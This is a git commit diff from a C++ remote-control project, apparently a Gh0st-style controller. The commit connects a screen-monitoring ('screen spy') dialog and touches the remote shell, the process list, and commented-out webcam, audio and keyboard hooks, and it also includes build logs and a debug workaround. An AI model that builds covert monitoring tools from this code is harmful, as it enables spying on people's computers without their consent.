控制端与服务端屏幕监控可以交互,还没有完善,debug解决个很奇怪的bug

This commit is contained in:
changcheng 2020-06-04 00:31:32 +08:00
parent d12cd9d6ac
commit 2afd8019a8
14 changed files with 122 additions and 66 deletions

Binary file not shown.

Binary file not shown.

View File

@ -276,7 +276,7 @@ void CScreenSpyDlg::OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
SetScrollPos(SB_HORZ, m_HScrollPos);
OnPaint();
PostMessage(WM_PAINT);
CDialog::OnHScroll(nSBCode, nPos, pScrollBar);
}
@ -378,7 +378,8 @@ void CScreenSpyDlg::DrawFirstScreen(void)
//这里也很简单就是得到服务端发来的数据 将他拷贝到HBITMAP的缓冲区中这样一个图像就出现了
memcpy(m_lpScreenDIB, m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_lpbmi->bmiHeader.biSizeImage);
//我们到OnPaint()函数
OnPaint();
//OnPaint();
PostMessage(WM_PAINT);
}
@ -434,7 +435,7 @@ void CScreenSpyDlg::DrawNextScreenDiff(void)
jnz CopyNextBlock
}
if (bIsReDraw) OnPaint();
if (bIsReDraw) PostMessage(WM_PAINT);
}
@ -511,7 +512,7 @@ void CScreenSpyDlg::DrawNextScreenRect(void)
dwOffset += sizeof(RECT) + m_lpbmi_rect->bmiHeader.biSizeImage;
}
if (bIsReDraw) OnPaint();
if (bIsReDraw) PostMessage(WM_PAINT);
}
//更改屏幕分辨率

View File

@ -96,6 +96,7 @@
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>

View File

@ -83,7 +83,8 @@ BEGIN_MESSAGE_MAP(CCcRemoteDlg, CDialogEx)
ON_MESSAGE(WM_ADDTOLIST,OnAddToList)
ON_MESSAGE(WM_OPENSHELLDIALOG, OnOpenShellDialog)
ON_MESSAGE(WM_OPENPSLISTDIALOG, OnOpenSystemDialog)
ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog)
//-------------系统-------------
ON_WM_SYSCOMMAND()
@ -498,6 +499,8 @@ void CCcRemoteDlg::OnOnlineCmd()
void CCcRemoteDlg::OnOnlineDesktop()
{
// TODO: 在此添加命令处理程序代码
BYTE bToken = COMMAND_SCREEN_SPY; //向服务端发送COMMAND_SCREEN_SPY CKernelManager::OnReceive搜之
SendSelectCommand(&bToken, sizeof(BYTE));
}
@ -751,9 +754,9 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
//case FILEMANAGER_DLG:
// ((CFileManagerDlg *)dlg)->OnReceiveComplete();
// break;
//case SCREENSPY_DLG:
// ((CScreenSpyDlg *)dlg)->OnReceiveComplete();
// break;
case SCREENSPY_DLG:
((CScreenSpyDlg *)dlg)->OnReceiveComplete();
break;
//case WEBCAM_DLG:
// ((CWebCamDlg *)dlg)->OnReceiveComplete();
// break;
@ -765,7 +768,7 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
// break;
case SYSTEM_DLG:
((CSystemDlg *)dlg)->OnReceiveComplete();
break;
break;
case SHELL_DLG:
((CShellDlg *)dlg)->OnReceiveComplete();
break;
@ -808,22 +811,22 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
break;
/*case TOKEN_DRIVE_LIST: // 驱动器列表
// 指接调用public函数非模态对话框会失去反应 不知道怎么回事,太菜
g_pConnectView->PostMessage(WM_OPENMANAGERDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_BITMAPINFO: //
// 指接调用public函数非模态对话框会失去反应 不知道怎么回事
g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
g_pCcRemoteDlg->PostMessage(WM_OPENMANAGERDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_WEBCAM_BITMAPINFO: // 摄像头
g_pConnectView->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)pContext);
g_pCcRemoteDlg->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_AUDIO_START: // 语音
g_pConnectView->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext);
g_pCcRemoteDlg->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_KEYBOARD_START:
g_pConnectView->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext);
g_pCcRemoteDlg->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext);
break;*/
case TOKEN_BITMAPINFO: //
// 指接调用public函数非模态对话框会失去反应 不知道怎么回事
g_pCcRemoteDlg->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
break;
//进程遍历和窗口遍历公用的一个窗口类,在构造判断判断下类型来显示不同的数据
case TOKEN_WSLIST:
case TOKEN_PSLIST:
@ -971,7 +974,7 @@ LRESULT CCcRemoteDlg::OnOpenShellDialog(WPARAM wParam, LPARAM lParam)
//这里定义远程终端的对话框转到远程终端的CShellDlg类的定义 先查看对话框界面后转到OnInitDialog
CShellDlg *dlg = new CShellDlg(this, m_iocpServer, pContext);
// 设置父窗口为
// 设置父窗口为
dlg->Create(IDD_SHELL, GetDesktopWindow());
dlg->ShowWindow(SW_SHOW);
@ -994,4 +997,19 @@ LRESULT CCcRemoteDlg::OnOpenSystemDialog(WPARAM wParam, LPARAM lParam)
pContext->m_Dialog[1] = (int)dlg;
//先看一下这个对话框的界面再看这个对话框类的构造函数
return 0;
}
//自定义消息 打开屏幕监控窗口
LRESULT CCcRemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
{
ClientContext *pContext = (ClientContext *)lParam;
CScreenSpyDlg *dlg = new CScreenSpyDlg(this, m_iocpServer, pContext);
// 设置父窗口为桌面
dlg->Create(IDD_SCREENSPY, GetDesktopWindow());
dlg->ShowWindow(SW_SHOW);
pContext->m_Dialog[0] = SCREENSPY_DLG;
pContext->m_Dialog[1] = (int)dlg;
return 0;
}

View File

@ -7,6 +7,7 @@
#include "SEU_QQwry.h"
#include "CShellDlg.h"
#include "CSystemDlg.h"
#include "CScreenSpyDlg.h"
#pragma once
@ -99,6 +100,7 @@ public:
afx_msg LRESULT OnAddToList(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenShellDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenSystemDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenScreenSpyDialog(WPARAM, LPARAM);
//-------------系统消息处理-------------
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);

View File

@ -1,2 +1,30 @@
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.pch
g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.pdb
g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.idb
g:\ccremote\ccremote\ccremote\ccremote\debug\pch.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\seu_qqwry.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\inifile.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\cpuusage.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\csystemdlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\cshelldlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\csettingdlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\cscreenspydlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremotedlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\iocpserver.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\buffer.obj
g:\ccremote\ccremote\bin\ccremote.ilk
g:\ccremote\ccremote\bin\ccremote.exe
g:\ccremote\ccremote\bin\ccremote.pdb
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.res
g:\ccremote\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.command.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.read.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.write.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.command.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.read.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.write.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.command.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.read.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.write.1.tlog

View File

@ -2,14 +2,14 @@
pch.cpp
CcRemote.cpp
CcRemoteDlg.cpp
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(161): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(162): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(166): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(167): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(307): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(324): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(794): warning C4018: “<=”: 有符号/无符号不匹配
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(876): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(308): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(325): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(797): warning C4018: “<=”: 有符号/无符号不匹配
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(879): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CScreenSpyDlg.cpp
g:\ccremote\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
@ -35,9 +35,9 @@ g:\ccremote\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat':
IOCPServer.cpp
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(718): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(720): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(767): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(913): warning C4018: “>=”: 有符号/无符号不匹配
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(769): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(915): warning C4018: “>=”: 有符号/无符号不匹配
正在生成代码...
CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe

Binary file not shown.

View File

@ -1,2 +1,31 @@
g:\ccremote\ccremote\bin\ccremote.ipdb
g:\ccremote\ccremote\bin\ccremote.iobj
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.pch
g:\ccremote\ccremote\ccremote\ccremote\release\vc141.pdb
g:\ccremote\ccremote\ccremote\ccremote\release\pch.obj
g:\ccremote\ccremote\ccremote\ccremote\release\truecolortoolbar.obj
g:\ccremote\ccremote\ccremote\ccremote\release\seu_qqwry.obj
g:\ccremote\ccremote\ccremote\ccremote\release\inifile.obj
g:\ccremote\ccremote\ccremote\ccremote\release\cpuusage.obj
g:\ccremote\ccremote\ccremote\ccremote\release\csystemdlg.obj
g:\ccremote\ccremote\ccremote\ccremote\release\cshelldlg.obj
g:\ccremote\ccremote\ccremote\ccremote\release\csettingdlg.obj
g:\ccremote\ccremote\ccremote\ccremote\release\cscreenspydlg.obj
g:\ccremote\ccremote\ccremote\ccremote\release\ccremotedlg.obj
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.obj
g:\ccremote\ccremote\ccremote\ccremote\release\iocpserver.obj
g:\ccremote\ccremote\ccremote\ccremote\release\buffer.obj
g:\ccremote\ccremote\bin\ccremote.exe
g:\ccremote\ccremote\bin\ccremote.pdb
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.res
g:\ccremote\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\ccremote.write.1u.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.command.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.read.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.write.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\link.command.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\link.read.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\link.write.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.command.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.read.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.write.1.tlog

View File

@ -1,44 +1,15 @@
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
pch.cpp
CcRemote.cpp
CcRemoteDlg.cpp
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(161): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(162): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(166): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(167): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(307): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(324): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(794): warning C4018: “<=”: 有符号/无符号不匹配
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(876): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(308): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(325): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(797): warning C4018: “<=”: 有符号/无符号不匹配
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(879): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CScreenSpyDlg.cpp
g:\ccremote\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CSettingDlg.cpp
CShellDlg.cpp
g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配
g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(208): warning C4018: “<=”: 有符号/无符号不匹配
g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(218): warning C4018: “<”: 有符号/无符号不匹配
CSystemDlg.cpp
g:\ccremote\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CpuUsage.cpp
IniFile.cpp
g:\ccremote\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
SEU_QQwry.cpp
TrueColorToolBar.cpp
Buffer.cpp
IOCPServer.cpp
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(718): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(767): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(913): warning C4018: “>=”: 有符号/无符号不匹配
正在生成代码
All 503 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
All 512 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
已完成代码的生成
CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe

View File

@ -343,6 +343,11 @@ void CIOCPServer::OnAccept()
// Create the Client context to be associted with the completion port
// 创建要与完成端口连接客户端的上下文
ClientContext* pContext = AllocateContext();
// 很神奇的bug如果注释掉了这个局部变量那么在调用WSAIoctl函数的时候会发生地址改变造成写入异常
// 加了pContext2则pContext2的地址会改变pContext没有受到影响
// 这只有debug才会出现很奇怪应该是编译器的原因造成的堆栈没有平衡导致猜测的
ClientContext* pContext2 = pContext;//这个变量什么也不会做
// AllocateContext fail
if (pContext == NULL)
return;
@ -386,9 +391,10 @@ void CIOCPServer::OnAccept()
klive.onoff = 1; // 启用保活
klive.keepalivetime = m_nKeepLiveTime;
klive.keepaliveinterval = 1000 * 10; // 重试间隔为10秒 Resend if No-Reply
SOCKET dwIoControlCode = pContext->m_Socket;
WSAIoctl
(
pContext->m_Socket,
dwIoControlCode,
SIO_KEEPALIVE_VALS,
&klive,
sizeof(tcp_keepalive),
@ -412,7 +418,7 @@ void CIOCPServer::OnAccept()
OVERLAPPEDPLUS *pOverlap = new OVERLAPPEDPLUS(IOInitialize);
BOOL bSuccess = PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD) pContext, &pOverlap->m_ol);
BOOL bSuccess = PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD)pContext, &pOverlap->m_ol);
if ( (!bSuccess && GetLastError( ) != ERROR_IO_PENDING))
{

Binary file not shown.

Binary file not shown.